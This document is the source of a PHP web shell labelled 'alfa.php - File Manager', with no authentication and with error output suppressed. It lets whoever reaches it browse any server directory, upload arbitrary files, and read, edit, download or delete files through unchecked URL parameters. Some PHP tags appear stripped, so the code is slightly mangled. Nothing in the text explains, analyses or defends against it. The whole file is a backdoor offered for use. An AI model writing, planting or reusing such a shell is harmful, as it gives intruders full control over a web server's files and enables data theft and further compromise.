error_reporting(0);
set_time_limit(0);
session_start();

$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);
$parent = dirname($path);

if(isset($_FILES['file'])){
move_uploaded_file($_FILES['file']['tmp_name'], $path."/".$_FILES['file']['name']);
}

function list_files($dir){
$items = scandir($dir);
foreach($items as $item){
if($item == '.' || $item == '..') continue;
$full = $dir . DIRECTORY_SEPARATOR . $item;
echo "";
if(is_dir($full)){
echo "<a href='?path=" . urlencode($full) . "'>📁 $item/</a>DIR";
} else {
echo "📄 $item" . filesize($full) . " B";
}
echo "<a href='?path=" . urlencode($dir) . "&view=" . urlencode($item) . "'>👁️ View</a>";
echo "<a href='?path=" . urlencode($dir) . "&edit=" . urlencode($item) . "'>📝 Edit</a>";
echo "<a href='?path=" . urlencode($dir) . "&download=" . urlencode($item) . "'>⬇️ Download</a>";
echo "<a href='?path=" . urlencode($dir) . "&delete=" . urlencode($item) . "' onclick='return confirm(\"Delete $item?\");'>🗑️ Delete</a>";
echo "";
}
}

if(isset($_GET['download'])){
$file = $path . DIRECTORY_SEPARATOR . $_GET['download'];
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
readfile($file);
exit;
}

if(isset($_GET['delete'])){
$file = $path . DIRECTORY_SEPARATOR . $_GET['delete'];
if(is_file($file)) unlink($file);
}

if(isset($_GET['view'])){
$file = $path . DIRECTORY_SEPARATOR . $_GET['view'];
echo "<pre style='background:#1e1e1e;color:#0f0;padding:15px'>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
echo "<hr><a href='?path=" . urlencode($path) . "'>🔙 Back</a>";
exit;
}

if(isset($_GET['edit'])){
$file = $path . DIRECTORY_SEPARATOR . $_GET['edit'];
if(isset($_POST['newcontent'])){
file_put_contents($file, $_POST['newcontent']);
echo "<p style='color:lime'>✅ File saved successfully.</p>";
}
$content = htmlspecialchars(file_get_contents($file));
echo "

📝 Editing: " . htmlspecialchars($_GET['edit']) . "


<textarea name='newcontent' rows='25' style='width:100%;background:#111;color:#0f0;border:1px solid #444;'>$content</textarea>


<input type='submit' value='💾 Save'>
<a href='?path=" . urlencode($path) . "' style='margin-left:20px;'>🔙 Cancel</a>
";
exit;
}


<!DOCTYPE html>


alfa.php - File Manager <title>alfa.php - File Manager</title>
<style>
body { font-family: monospace; background: #1e1e1e; color: #eee; padding: 20px; }
input[type='file'], input[type='submit'] {
background: #333; color: #fff; border: 1px solid #555; padding: 5px; margin-top: 10px;
}
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
td, th { padding: 5px; border: 1px solid #444; }
a { color: #00ffcc; text-decoration: none; }
a:hover { text-decoration: underline; }
.header { margin-bottom: 10px; }
.buttons { margin-bottom: 15px; }
</style>


🗂️ alfa.php - File Manager


<div class="header">📂 Current path: echo $path; </div>

<div class="buttons">
if($path != '/'):
<a href="?path= echo urlencode($parent); ">⬅️ Go Back</a>
endif;
</div>


<label>📤 Upload File:</label>







<th>Name</th><th>Size</th><th>View</th><th>Edit</th><th>Download</th><th>Delete</th>

list_files($path);